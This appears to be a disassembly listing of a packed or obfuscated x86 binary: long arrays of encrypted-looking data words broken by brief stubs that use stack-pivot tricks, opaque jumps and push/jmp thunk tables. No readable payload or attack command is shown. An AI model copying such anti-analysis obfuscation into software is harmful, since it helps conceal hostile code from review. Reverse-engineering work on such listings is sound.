dd 8D4292FAh, 0DEDF32BEh, 2A308E89h, 6326D967h, 22A7FD68h dd 0D598E81Fh, 0CCC6B98Bh, 0AF2A7A51h, 0F6B87134h, 0DB3B8CDBh dd 0ECCA9FBBh, 0C7429208h, 0CF5045F8h, 14CA1A65h, 0D0B3BF45h dd 0DC0106Fh, 4DC8A01Eh, 15D30FD2h, 0B819F282h, 8E103302h dd 0F26D69D2h, 0C2411023h, 0ADFD4D65h, 8311D432h, 49F9BC37h dd 68461CE4h, 0B578D68Ch, 40F8C827h, 0DB8E210Ch, 6C985h dd 16B66300h, 1CAA6CCAh, 23A972D0h, 2FCD79D7h, 32BE85E3h dd 0A2DBFCE6h, 0AB0955DBh, 0AF0D59E3h, 0B10F5BE9h, 0A31662EEh dd 0D1DA5928h, 0A483F000h, 0C9744AC0h, 67BC7F4Eh, 51A1F60Ch dd 0C67B382h, 0FE5CACF6h, 0ACFCAF35h, 0CA12E15Ch, 82FC191Ah dd 59D46224h, 0D5AB8Ah, 0AE64B4F0h, 8E0984D4h, 0D57CBFh dd 0C27140F0h, 9BF000D5h, 0C321714Bh, 43BE7400h, 20BE6AC8h dd 9671D6Dh, 0F6DB947h, 0AE0CBF4Dh, 0CCFE5DEBh, 6AAECDA4h dd 63861B7h, 47F40000h, 39FB59A5h, 38015FABh, 5E0A68B4h dd 4F1674C0h, 6A8B75C1h, 9AE66A31h, 9EEA743Ch, 0A0EC7A40h dd 0A5F17F42h, 55E8B732h, 0AF000D0h, 744A472Bh, 3BFE79F4h dd 0A11F1ED0h, 0C905929h, 10965EBCh, 4D418B5Ah, 5EAEFC19h dd 36C285E3h, 0AADCFBEAh, 9456B42Fh, 4E815006h, 0B7F0008Dh dd 82CE6D3Ch, 3F8FF000h, 0C36D3CEFh, 25F00082h, 0BD12FAAh dd 0B382D285h, 0F0008280h, 34D78DDDh, 0FCB8D1Ah, 5D0B99D0h dd 27000000h, 0DAEFBBEh, 5D74A781h, 671FB8A7h, 441A1DECh dd 0FB4BF60Ch, 7360580h, 58F60C44h, 249F5208h, 844BA9h dd 0C440231h, 48EBBAF6h, 15F60C44h, 0A170EBC5h, 0F60C4492h dd 752B7BCBh, 0C449BA6h, 60BA5DF6h, 0C34E5113h, 753B9993h dd 36EC3CEFh, 7B3h, 8EE3CF00h, 0FF000001h, 0E4DAF280h dd 1A3A0984h, 83FC137Dh, 0A5037E33h, 5386DEDFh, 59F6A391h dd 1B845309h, 5BA3B0B2h, 0BB8A0563h, 55BE8E31h, 10D34E9Eh dd 702CAB5Bh, 32BC84A8h, 8A792CE2h, 3EB93434h, 8341F4C3h dd 0CE1E59A6h, 3CFA4918h, 27A253BCh, 0ACF3E558h, 742A7A5Fh dd 71CF4A9Ah, 78D622AEh, 0CC827B5h, 0BA0B39C3h, 4E8B107h dd 97440000h, 894BA9F5h, 8851AFFBh, 0AE5AB804h, 9F66C410h dd 0BADBC511h, 0EA36BA81h, 0EE3AC48Ch, 0F03CCA90h, 0F541CF92h dd 5380782h, 5AF000DFh, 18DB977Bh, 772AB87Eh, 0FE5CD727h dd 0A9F9AC52h, 6D5140F3h, 3B180FBh, 5CFC1380h, 7033910Ch dd 84E22EE4h, 0D37925C1h, 3EBA2483h, 0A154AED3h, 4854Bh dd 52FAA700h, 58E6A806h, 5FE5AE0Ch, 6309B513h, 6EF2B917h dd 0D6173822h, 0D735810Fh, 0DB39850Fh, 0E5438F15h, 0D74A9622h dd 0DFAE8D5Ch, 0D0AFF000h, 8C18DBECh, 67EDB311h, 0FBAE64B4h dd 9B4EDA9Dh, 0D11C36D9h, 22AC740Eh, 83CF1F6Fh, 32824508h dd 0D4BA36D5h, 20BC7E1Eh, 0A60493C4h, 1B9E54FAh, 25h, 0F4744A37h dd 0D9A0FE79h, 86C6954Bh, 0F7FC1383h, 1A25F4A7h, 0DCF00B7Ch dd 0D092E139h, 1099CA49h, 39h, 0F4744A2Ch, 0D0541B79h dd 9C17CD1Dh, 13B3D4CDh, 72ED3DFCh, 620D33AFh, 11C77143h dd 0DA763896h, 87D78A18h, 141CEB37h, 0BDF00B48h, 0C4226EFAh dd 6BC17402h, 3C6h, 0F4744A87h, 6C3AAA79h, 1FE2FC13h, 0D38B67FCh dd 653FF554h, 41046215h, 0D9A200B3h, 7C42A053h, 0CAF43F6h dd 9A3DB532h, 401AA480h, 0C23DF07Eh, 0B2C40F3h, 7DCD1DF0h dd 0E1E3B22Dh, 5EFA1427h, 0A164C20Eh, 4D716013h, 7D1A01Bh dd 90FC1324h, 7EF98D40h, 18CB5920h, 0D76F12C8h, 0E8AB470Ah dd 959A95Ch, 4DF0CEBDh, 0B2BBF7Eh, 0CC5A1CF0h, 5827A2F2h dd 0F00B2BE5h, 5FDA2A7Ah, 14C41C90h, 9A62C0FAh, 4E116114h dd 17A34370h, 3913C9C7h, 15D836E9h, 0B476D487h, 4C157326h dd 0D614BB55h, 0A0F0E95Ah, 0D56D10EDh, 47DF8216h, 1893D5E9h dd 138F5B49h, 854A4FCh, 0A659E7AAh, 0D1808148h, 2C0FDE49h dd 31F00B21h, 0EA0C1EE1h, 4FC77ACAh, 844792ACh, 1BDACF8h dd 7B1DEC67h, 0ACFA14CFh, 0A1EA6EE9h, 44941A4Eh, 7F531691h dd 0E86C3335h, 0A222E535h, 0CF6E3D4Eh, 90F60C0Bh, 0DC3AF040h dd 44D88B19h, 1BA96BC9h, 0BF621868h, 73F5C967h, 5C1F7DF8h dd 8D4B1AD0h, 1AFC1307h, 5D207ECAh, 0FBBE1CCFh dd 8C32216Dh, 5E9261DCh, 0A7FA1405h, 46F98749h, 24F3A6F6h dd 0F60C0A1Dh, 911E38DBh, 93C397CFh, 440Fh, 60BE2B00h dd 0A5A0D97h, 0F596554h, 75D7C594h, 0EA48FC13h, 9BEB9E24h dd 66C9984Bh, 6BF00B6Ah, 0E6C1FA5h, 5DEBAE62h, 570A5AAAh dd 0E5E23CDFh, 0FAC3219Ch, 0B96FBF72h, 0AD6F3C16h, 0ED99CA3Bh dd 0CBh, 8C18DB09h, 30B47BD9h, 0C86B3AB5h, 95F60C67h, 7EDC8F45h dd 1C7A2DBBh, 47FCB59h, 3DAAFA41h, 7E34EF76h, 0CC007AFh dd 9725E8F6h, 902AED4Bh, 0DF6D2FC7h, 9D8C3F8Fh, 6ECC4721h dd 1B6B1EACh, 7D1BEA65h, 9FC1323h, 0AC5FE5ABh, 4AFD8B4Eh dd 1AF4AAFAh, 2F8F7ECAh, 0B3EFBE39h, 18FA1198h, 28EF4DC8h dd 2BF2509Ch, 37A246A5h, 9548B4CCh, 1C53Fh, 12BA6700h dd 18A668C6h, 1FA56ECCh, 23C975D3h, 2EB279D7h, 96D7F8E2h dd 97F541CFh, 9BF945CFh, 0A5034FD5h, 970A56E2h, 0DCEE4D1Ch dd 906FF000h, 7443BEACh, 0F60C67C1h, 3A984E9Eh, 4F3B7A73h dd 0C85A020Ch, 0F39FFD78h, 0E9479349h, 3F162726h, 841DFE61h dd 4A04E834h, 0AD5C8174h, 92D2782Fh, 35E86E34h, 4B1A95E5h dd 0FC13BB49h, 4D386D6h, 0F00BA43Dh, 713E18BBh, 99CAF1AFh dd 99EFh, 0DBB17400h, 0D36AAE66h, 0DBF6DA90h, 7BD98C18h dd 0AE7D30B4h, 0F60C6C04h, 4E9A26E9h, 0EC9F2DF0h, 2CA7C1FDh dd 138FBB5Dh, 509CECFCh, 23B177D5h, 7B6A2070h, 0DBAA2543h dd 0FA112804h, 48A62171h, 2CA7F381h, 0C97C22CEh, 9E65C379h dd 0D73FB312h, 14C7B4CBh, 0EDBEh, 0EA923F00h, 0F07E409Eh dd 0F77D46A4h, 0FBA14DABh, 68A51AFh, 6EAFD0BAh, 6FCD19A7h dd 73D11DA7h, 7DDB27ADh, 6FE22EBAh, 0DB1625F4h, 6847F000h dd 6514DB84h, 0C67A796h, 1868B8F6h, 1DAB6ECCh, 18DBEDD1h dd 0B87BD98Ch, 0CDF1E02Ch, 19B4C628h, 0C95EB4Ah, 612474F6h dd 0F949E893h, 134037Eh, 5EF60CA0h, 11507E9Bh, 49995163h dd 3F9D1893h, 0E838EB79h, 893CC28Ah, 0DCB48339h, 29FC1995h dd 0E3DC9066h, 0C8186D52h, 5AF4B715h, 0B53B02AEh, 0AF62B202h dd 65C30F5Fh, 946316A2h, 4D00B0EEh, 9D2802A5h, 87024EDAh dd 8D06229h, 2B7BCB7Eh, 3639B578h, 0E6E4245Ch, 0E7753896h dd 8410D331h, 17C773D1h, 0C010C351h, 8629BD70h, 0D25E21ACh dd 0C1900B86h, 0A500FD72h, 0C8F18702h, 0ECC6DD04h, 0C588E69Ch dd 32E8437h, 4A000000h, 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h dd 10D230E3h, 687ECF82h, 7047h, 24048F54h, 4240481h, 68000000h dd 0D95h, 68242C89h, 60C9h, 57240C89h, 33029CBFh, 0B5A6BD1Ch dd 0FD29223Fh, 83243C8Bh, 8B5404C4h, 0C483240Ch, 4EC8104h dd 89000000h, 8BB241Ch, 1000000h, 5B2B89CBh db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- dd 4CC72FEDh, 0BD76B8C6h, 0C503060Ch, 1175E0FFh, 96EE7434h dd 125102F2h, 0F37F37E1h, 0C5A6B44h, 63641115h, 17F26C83h dd 2EE14270h, 0DFE34FD1h, 0EFED7D33h, 24EB05D8h, 9 dup(0) dd 0BDE9h, 27B58900h, 8B060CBEh, 732B185h, 0F1858B06h dd 8D06071Ch, 0CBE71B5h, 8A858D06h, 0FF060A4Ah, 0E855C3D0h dd 0 dd 77ED815Dh, 83060CBEh, 732B1BDh, 850F0106h, 2Ch, 0BE27B5FFh dd 858B060Ch, 6071CF1h, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CBE2Bh dd 27B5FF56h, 8B060CBEh, 71CF185h, 27363506h, 0D0FF3481h dd 8D0CC483h, 0CBE2BB5h, 14468B06h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 32B1BD83h, 0F010607h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 60CBE50h, 6A18589h, 8D8D0607h dd 60CC022h, 0EB816660h, 316001F7h, 7100995h, 0CA8B6606h dd 8D896161h, 6070A01h, 13E8h, 9209E700h, 0C80AE239h, 8529F53Bh dd 148E954h, 0FE114632h, 1AD88166h, 85C758FEh, 60714A5h dd 66A8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 10C35141h, 5125238Eh, 0BE666364h, 85C7112Ah, 6072FD5h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 65C35343h dd 91D9BBBAh, 4DB5FF11h, 6A060721h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4263C357h dd 357FB21Ah, 8154BD0Bh, 33316E6h, 12880F77h, 0E9000000h dd 0Dh, 53755C4Eh, 709FF369h, 0F71FE784h, 0F08B66CAh, 1C1995FFh dd 8D290607h, 6071CEDh, 0FE9h, 1836D500h, 548A5133h, 5C936E4h dd 0A18564C3h, 95FF006Ah, 6071B69h, 1BEBC08Bh, 2D0E5075h dd 0AFE64641h, 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h dd 0E8EAA1C2h, 8, 2D04A8C9h, 1417730Fh, 14E8h, 0EF26CD00h dd 81146E4Ch, 20208290h, 0F87471Eh, 31D9C54Dh, 519D897Ch dd 58060717h, 0D381665Ah, 0C28125B2h, 6CB1h, 68C6B70Fh dd 0 dd 2AD88166h, 8B665EB7h, 323C8BD9h, 334D8509h, 0F7810607h dd 57F9A011h, 66C18B60h, 6169ABBFh, 4488F781h, 0BB663274h dd 0C781EC42h, 790820F1h, 3558D8Bh, 3C890607h, 28B96632h dd 12E9A5h, 0A8760000h, 93E6B22Bh, 77A5CF49h, 51E58183h dd 0FBAF7AA4h, 1E3FEE81h, 0B5895AC8h, 6071E0Dh, 1E3BC681h dd 0F605AC8h, 0BA66CEB7h, 8161B9E7h, 0FF9434FEh, 1A850FFFh dd 29000000h, 7214995h, 27E906h, 2DE20000h, 52A3B76Dh dd 0DEBE6794h, 77920742h, 2D853316h, 0E9060705h, 0FFFFFF69h dd 0BEF3327Ch, 2C47ED32h, 21CF85D2h, 2A08EBE3h, 4DDD61h dd 0E9024000h, 0CBFh, 0CC30868h, 82AEE906h, 3568FFFBh dd 0E9060CC4h, 0FFFB82A4h, 0CC61B68h, 829AE906h, 0F468FFFBh dd 0E9060CC6h, 0FFFB8290h, 0CC7DA68h, 8286E906h, 7168FFFBh dd 0E9060CC9h, 0FFFB827Ch, 0CCA1C68h, 8272E906h, 9468FFFBh dd 0E9060CCBh, 0FFFB8268h, 0CCC6668h, 825EE906h, 84ECFFFBh dd 58C7AD6Ch, 3CA98F4Eh, 20896F2Eh, 0FB654B0Ah, 0FD9828E7h dd 743347B1h, 5312228Eh, 34F3FF6Dh, 12D1E34Eh, 2572E088h dd 0CB911D21h, 0E9916732h, 10602E7Bh, 0DD5BD48Bh, 0D27A8CF7h dd 0F27080ECh, 0BA39A48Ah, 60D9414Bh, 0B88B28E7h, 0F7856C14h dd 3FABB3FFh, 84644E35h, 0F03860B6h, 7A22CA72h, 10CABF0Ch dd 6EEC658Bh, 17CCC000h, 2BD34C91h, 0F25CD945h, 84FD76DEh dd 10F69E06h, 0A91795A3h, 8509C858h, 2B98B64Ch, 0E023D25Bh dd 436Bh, 74DDC300h, 9C15E05Eh, 0D04BB889h, 74ED5563h dd 32DA82FBh, 60CF1C8Ah, 0FC758B10h, 6E24107Eh, 8F089117h dd 5368B927h, 0B45C8509h, 7AE562CEh, 0E870068h, 19AF2DA6h dd 4DF69805h, 0E5D8E022h, 0D000000h, 2ED6E853h, 3ED5FC47h dd 88658EAh, 0A412F8A0h, 0CA341A98h, 0FD684EB6h, 0B59B43EBh dd 7CC9374Bh, 228B112Bh, 0DDC32BA9h, 33A16072h, 8B1130AFh dd 44031580h, 39E1F35Eh, 6ED6E853h, 720F77F5h, 0E52892D3h dd 11272A77h, 0DE57D08Bh, 2B4FBD65h, 7A911857h, 0AF172994h dd 9C15B836h, 55540DF4h, 177BA926h, 0EE3DDA99h, 8C721AC2h dd 2CA50D23h, 409740AEh, 0FF58B13h, 0B32C94A2h, 42AC923Ah dd 1F896F2Eh, 0B921339Eh, 0E0EC5A40h, 3E58B667h, 99019579h dd 0A4CAFh, 0DBF35B00h, 0BDC7361Ch, 9DAB18FEh, 798FF8DEh dd 566AD4BAh, 208E0797h, 0FDE3A2B6h, 0DCC28191h, 0BDA3626Eh dd 0F7814052h, 2394E14Fh, 0A13A911Dh, 2CAA91D6h, 873936E3h dd 0F96349C7h, 0D54026E5h, 755C04C3h, 57DC1E3Eh, 0E8B331FFh dd 2E40AB91h, 9C3013B0h, 6D9A86F4h, 0D67E9117h, 9521B68h dd 70DBC185h, 47DF65Eh, 91FDE38Bh, 2D9B0381h, 850952DCh dd 60C8DE47h, 51FD4AB8h, 2AA38509h, 63CBD544h, 0C0E240D6h dd 2471CD63h, 52C10E7Ch, 0EE678509h, 4C06E870h, 0F028E022h dd 5D000000h, 2ED6E853h, 60CB1886h, 0F8718B10h, 846A127Ah dd 0A68C0A16h, 18C0283Ch, 60B50270h, 0E25B8B10h, 6572F664h dd 0D8438B10h, 63DCEE59h, 4153BEA4h, 0F84A31D9h, 467542EBh dd 0CE317EECh, 5ED78B0Fh, 7BCA67E5h, 1D41AF57h, 719116FEh dd 899C39F8h, 0EFD57D25h, 940D7581h, 44EEA816h, 886E8B12h dd 0EA920B1Dh, 0DDF35C42h, 418EFC75h, 0E77EFEF5h, 6248F06Eh dd 0FC0A77F8h, 86F5DB83h, 593FFE7Ch, 0B22ADBEFh, 77957848h dd 91F250Fh, 20880000h, 0F4634908h, 0D8452BEAh, 0BC250BCAh dd 9701E7A6h, 6134C483h, 10CFE34Dh, 0EFAEBE2Ah, 0D08F9B09h dd 0AE6D7FEAh, 0C10E7C24h, 67911D24h, 0E95303CEh, 17852DD5h dd 8B1060CAh, 0BA79F770h, 0AFFC6A12h, 558B1060h, 79C634DCh dd 1F8B1060h, 0D74228A6h, 64DDEB58h, 0B716FDA5h, 0CE949BF3h dd 53A36EECh, 886ED6E8h, 0AF4C0B1Dh, 4856C39Ch, 997F27CFh dd 3FB8202Ah, 60DC2997h, 9828B10h, 64751D8Bh, 58D19117h dd 209F0AF0h, 0BBC735B6h, 0E861DA42h, 59D84329h, 0FC75DDEDh dd 7DAD1B83h, 0FF0C4F80h, 20C8D569h, 0C33A65B2h, 14920BFDh dd 0F2B1C32Eh, 0E734A24Ah, 8DFDC33Ah, 39012D14h, 3C69F411h dd 5B6DD8BEh, 9A3585F3h, 339EFDC2h, 9A3784F2h, 64DDFDC2h dd 2F9D83EBh, 9A3986F4h, 66DFFDC2h, 21B785EDh, 943CAF0Dh dd 880C7AADh, 6EECD6BCh, 80EB7AD8h, 0BA780800h, 5D435DADh dd 0A968E1F1h, 56D858C3h, 603BC47h, 3A87F59Dh, 0E0FDC2FDh dd 1886EE67h, 0FDC2FDC4h, 0FA6810B8h, 0FDC2FDADh, 0C65CDA53h dd 0F272DD68h, 69418FA9h, 0D7960FBFh, 0C7486F1h, 48F0DC6Fh dd 0FF208B61h, 5831E65h, 6593EF5Dh, 6C5203C9h, 0D174F2FEh dd 8A707EEBh, 2CA50D1Fh, 0F457F4B3h, 0A28830D8h, 3DAB2933h dd 0FDC2939Dh, 8094FEE4h, 0B4C83218h, 0DC5AD34Ch, 3118C039h dd 82A4338Eh, 870EE79h, 0B38B4A9Ah, 88A63CF1h, 636C53FBh dd 503AEF0Bh, 0B283D03Eh, 0B029F1B3h, 0E8D8AA32h, 76EA7F79h dd 1F000004h, 10607ECBh, 7008598Bh, 82EB8B10h, 958B1054h dd 8B104C44h, 0D17955F8h, 4C6EBB29h, 9B148B10h, 25CD751Dh dd 104C6AB7h, 0B197108Bh, 53CC3446h, 725767D5h, 0A839117h dd 8277EF59h, 0E0CA329Bh, 739h, 2FEE066Eh, 11D0DA49h, 0F1B0BE2Bh dd 0CD8CA20Bh, 0AA697DE7h, 0C9337B1Ah, 0A410F6B5h, 81EFD594h dd 65D0B675h, 620A9453h, 1D26A7F4h, 0E9B44D91h, 5E31AA91h dd 2C7A9439h, 3692F445h, 7BF97467h, 0B0182A95h, 0C62F3013h dd 0C76148B0h, 42613BFDh, 5D057EF7h, 1D91D4EFh, 0DE9D1691h dd 182B3D7Ah, 729E0CB4h, 0D18B0B24h, 0A727CEBh, 0F7701391h dd 36F40270h, 3222E5Eh, 299907AFh, 15D5A2CCh, 4DB5C12Fh dd 0B0EA37A5h, 1790C994h, 20BD259Eh, 51F9A10Dh, 94B096E3h dd 45C33CC9h, 0A00FF59Dh, 0E6AA1896h, 75CF9BE8h, 77125FCDh dd 3FB8C38Dh, 0FDA51EC1h, 9705AD55h, 0C38D774Ah, 0BC0977F0h dd 62C38D77h, 1A856BE9h, 0F8634908h, 0CAF135E6h, 0F860DA06h dd 6600Eh, 0C7DF4700h, 0A9B32208h, 899704EAh, 657BE4CAh dd 4256C0A6h, 0CA2F383h, 0E9CF8EA2h, 0C8AE6D7Dh, 0A98F4E5Ah dd 0E36D2C3Eh, 2680CD3Bh, 8D26911Dh, 0B7899CC2h, 6D219401h dd 0E2ECD35Fh, 0D05F7097h, 0D240E861h, 9118452Ah, 2370DE86h dd 0C9850A3Dh, 896FD750h, 17A40C1Eh, 38E0AD81h, 0A3D7DCAh dd 2CAA2385h, 73E1BC8Fh, 850A3D26h, 6984488h, 2ED19B9Fh dd 0EC943CB5h, 0B11B9C06h, 43BC249Dh, 0ECAF57C5h, 920B8B10h dd 0E51465D3h, 0AAF77F02h, 567F02E5h, 4D33DBF7h, 7EEDD3DFh dd 0E04EF674h, 850FA6C5h, 0B8268E07h, 78F6246Eh, 917A6109h dd 0AE7239C2h, 0E64B9806h, 78F178F5h, 0E63A8CFAh, 3CA778F5h dd 816814FBh, 0FA1C5642h, 0F5F63F8Ch, 4AAFA178h, 47AFE1A3h dd 1B22BA4h, 8F6F37ABh, 7A1C066Eh, 2D000005h, 8EEADC5h dd 0EAD08F99h, 0CAB06F7Dh, 0A68C4B61h, 0D969283Ch, 7488F2BCh dd 5363CFB5h, 3440AE94h, 12248F75h, 0B321C953h, 911D2766h dd 9CA8730Ch, 0F7D2589h, 911D21F4h, 6F55BD36h, 644AF204h dd 0FE107BF8h, 2C361D85h, 50314EBBh, 39F876EFh, 7F278B9Ch dd 14D12E98h, 870563BBh, 0BCCE391Fh, 0B3C12E14h, 9554D24Bh dd 0CA3244AFh, 39F979E4h, 4004E13Dh, 9D05117Fh, 0CA32AB24h dd 5DC9AF57h, 0E539CF4Dh, 1EDDEF5Ah, 295AF496h, 150D6E0h dd 9C0B0000h, 0F7D2589h, 911762B3h, 2896FE77h, 85095ED9h dd 7F011DB3h dd 0D4FF92ACh, 87D7B1DBh, 9CF8660Eh, 608B0FAEh, 0D74228E7h dd 0AADB2896h, 8817F01h, 0D641278Fh, 0C56805C4h, 0C05A41E9h dd 0AEC02B09h, 9DE6CD46h, 650D8BCDh, 946B7F7h, 62CA4385h dd 0FB42A3F4h, 2D019778h, 3058EE80h, 0C331D9F4h, 78FB4A76h dd 6425A31Ch, 35h, 25899C99h, 192D977Dh, 0A25138B1h, 0B459F84Ah dd 0DB49F16Fh, 9117EAEFh, 488FECD3h, 0E5828B1Bh, 4596046Ch dd 39850990h, 4C1E8FA3h, 5EE0238Eh, 9Bh, 27AA9193h, 0B5CB3424h dd 6B8DADCEh, 8A9C07EDh, 0BED23C22h, 0F3057056h, 93FDE38Bh dd 209E177Fh, 0FEBDCF3Ah, 110B0C90h, 6072DD8Bh, 5369D2B8h dd 35F472EBh, 7119B598h, 1AA9C703h, 2AD24B91h, 1EC6DA44h dd 59BB0876h, 0B21E8507h, 1EC13AA2h, 826827A5h, 3530418h dd 2A9B80ACh, 3E3D8C2h, 5CC40000h, 309F8544h, 14816726h dd 0F8614706h, 0D33D23E2h, 257000BFh, 4C0B1F89h, 2BEAFA66h dd 0CCBD745h, 0EAA9BB26h, 0FD4AB860h, 0A3911D28h, 0E9533F0Ah dd 0C53016D5h, 5329F4B3h, 862ED6E8h, 1060CB18h, 7AF8718Bh dd 0AFC12C12h, 7ACB25F0h, 238B10E0h, 0EB8EBF3Ch, 5837F8Dh dd 10044697h, 872BFA8Bh, 0C55671DFh, 1F98911Ch, 0AA239177h dd 4FC8303Ch, 53F058D6h, 0F23FADF0h, 98850342h, 56FEA61Fh dd 3439BE8h, 2B994185h, 850343DEh, 14920B84h, 519EFE6Ch dd 846A8B0Ah, 29A20A16h, 885DFFB0h, 147C9575h, 3382Ah dd 0EF076F00h, 0D1DB4A30h, 0B1BF2C12h, 8DA30CF2h, 6A7EE8CEh dd 347A1BABh, 11F7B6CAh, 0F0D695A5h, 0D1B77682h, 0B955466h dd 2AA8F563h, 0B54E911Dh, 0D6E853EAh, 0B01EC66Eh, 8B106063h dd 60499604h, 76EF8B10h, 0F6DC5AD3h, 0EBD1798Bh, 34F3717Dh dd 7018B497h, 1762C202h, 6DD54E91h, 95EAEFFh, 14FAA285h dd 871D9BA5h, 0C432DAABh, 85095E77h, 0BDC9371Dh, 0FB5F5D44h dd 23556DCBh, 654D1DA5h, 6B5DE022h, 0B5000000h, 0EE5660CFh dd 228A9E08h, 0E7B230A9h, 1DB7899Ch, 2B973DE1h, 6810B831h dd 10E8ADFAh, 32DA538Bh, 10E877C4h, 26A41D8Bh, 0F624107Eh dd 22089117h, 0BFC938B7h, 0EC65DE46h, 2DF5DC84h, 0C7D2CDB0h dd 51A2108Eh, 0BC850A4Ah, 0F4DA424Eh, 0A0137B85h, 3996340Ah dd 4C1E8FA3h, 5EE02354h, 0D8h, 1CA2CFB6h, 0C5BAB3F8h, 0E8537C47h dd 1E886ED6h, 0B820329Dh, 785EC63Fh, 813F8D0Dh, 0AA919F0Ch dd 0C942D8CEh, 0FE107B61h, 43D76F56h, 4F21596Bh, 20A412D1h dd 0F18B1067h, 0CFB57486h, 4DEA5264h, 822AD2FEh, 5980719Bh dd 3BB9A4E7h, 169225CDh, 60088191h, 49FD4AB8h, 0BCA38508h dd 0B4F544C5h, 0CD4BC40Dh, 0CFD2710Eh, 8071461h, 0C841BA85h dd 0BFCD3A20h, 0E92B9941h, 798B11B2h, 8725800h, 0E54F35F4h dd 0AF8420D1h, 0B9219577h, 1C0CFh, 677FE700h, 4953C2A8h dd 2937A48Ah, 51B846Ah, 0E2F66046h, 0AC029323h, 896F2E42h dd 684E0D1Dh, 492FEEFAh, 830DCCDEh, 2B206DDBh, 2DC6911Dh dd 0D5E95362h, 0B3C53016h, 0E3654CF4h, 0E1F76088h, 47190079h dd 501B9949h, 7D25899Ch, 176E230Fh, 268E0791h, 95367B8h dd 69C55B85h, 224DAA3Ch, 8EAE95E0h, 0C93A9C31h, 0A2571896h dd 8C000000h, 6ED6E853h, 6375E0C6h, 5295FFE5h, 106097E4h dd 4BC43D8Bh, 64F175E3h, 57C28B10h, 0F8DE8645h, 19FF7D8Bh dd 97349CAEh, 2C42ABB4h, 0F59D0BB3h, 5191177Eh, 0DC4A30D8h dd 0F69352D0h, 2BD37B57h, 3D10FD44h, 1C9A8BFEh, 12AD0DAEh dd 3AE25B8Bh, 17D6EA54h, 2B3C731h, 9578B054h, 0EEB39D05h dd 0B9000000h, 947A3951h, 765C1B25h, 563CFB09h, 3218D7EDh dd 65F5B4C8h, 147E30h, 0DFEF5B41h, 0C0CC3A20h, 9EB01B01h dd 3FAD55DFh, 911D2BF2h, 5334FF98h, 472DD5E9h, 8F4ECCDAh dd 6D2C3EA9h, 0D6E853A2h, 0CB18862Eh, 718B1060h, 2C127AF8h dd 2107AFC1h, 0BD0A78B3h, 638B1060h, 900971EAh, 97B65312h dd 0D75064CEh, 0CFDB492Fh, 0EE6C7EE9h, 21B9D846h, 8A03911Dh dd 0FE937A22h, 0EF73DCA7h, 7EE9CF4Dh, 1F05AD6Ch, 4127A5B1h dd 0EE5CC4D6h, 0D0D5D24Ah, 7AE2EC5Bh, 0AD152B94h, 0F8DA780Eh dd 0AD1BC36Bh, 39327360h, 790F8D06h, 1D2F9AA5h, 0EFCFB65Eh dd 771439Bh, 0B4016F17h, 5A39328Bh, 127D63E1h, 49B29800h dd 67FDCB33h, 91117CCBh, 0A79AB0C0h, 1764D235h, 0BD39334Eh dd 9352CB44h, 0C83042ADh, 0BBD13A20h, 3533Dh, 0BF880000h dd 0D3EB53F4h, 81A856Bh, 404CBAA0h, 7686F2D8h, 0AABE280Eh dd 0DEF25C42h, 11279076h, 4856C3A9h, 818BFAE0h, 0EC83B319h dd 48F5404h, 24048324h, 0E3895304h, 4C381h, 0EB810000h dd 4, 5C241C87h, 56242C89h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 99682404h, 8B060CC1h, 0C481242Ch, 4, 24048B54h, 8304C483h dd 348904ECh, 89EE8924h, 0FF5E0870h, 81582434h, 4C4h, 242C8B00h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FB7607E9h, 47D2C6FFh dd 7900DDCBh, 52BC1F9h, 0B8ED2ADDh, 60CCD79h, 0E0FFC503h dd 5E9EA656h, 6A8CB7CCh, 8336C71h, 67538D61h, 64696AD6h dd 6AD5B44Fh, 71AEFC3Ah, 166166C1h, 4F3FBA66h, 215459F2h dd 1A32B47Bh, 66BB75BFh, 6918EBFDh, 7F388999h, 32200460h dd 65F72178h, 1594B110h, 28D389E0h, 4110C118h, 34E02CADh dd 3B1C2D0Dh, 16AD92D2h, 847F39Ch, 26B4ED60h, 108B3C65h dd 2D5D5119h, 0C222ACEh, 3958162h, 6409150Ah, 43A85F48h dd 70D4F9E8h, 37F18475h, 0ABE9h, 2E8D5000h, 72B11C3Fh dd 0ACABDA5Fh, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h dd 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h dd 664CED89h, 1395E9h, 0D10B6800h, 3EE9060Ch, 68FFFAADh dd 60CD1F3h, 0FAAD34E9h, 0D2D968FFh, 2AE9060Ch, 68FFFAADh dd 60CD434h, 0FAAD20E9h, 0D4B868FFh, 16E9060Ch, 68FFFAADh dd 60CD562h, 0FAAD0CE9h, 0D62068FFh, 2E9060Ch, 68FFFAADh dd 60CD6E1h, 0FAACF8E9h, 0D7A368FFh, 0EEE9060Ch, 68FFFAACh dd 60CD8E6h, 0FAACE4E9h, 0D9D068FFh, 0DAE9060Ch, 68FFFAACh dd 60CDB66h, 0FAACD0E9h, 0DCFC68FFh, 0C6E9060Ch, 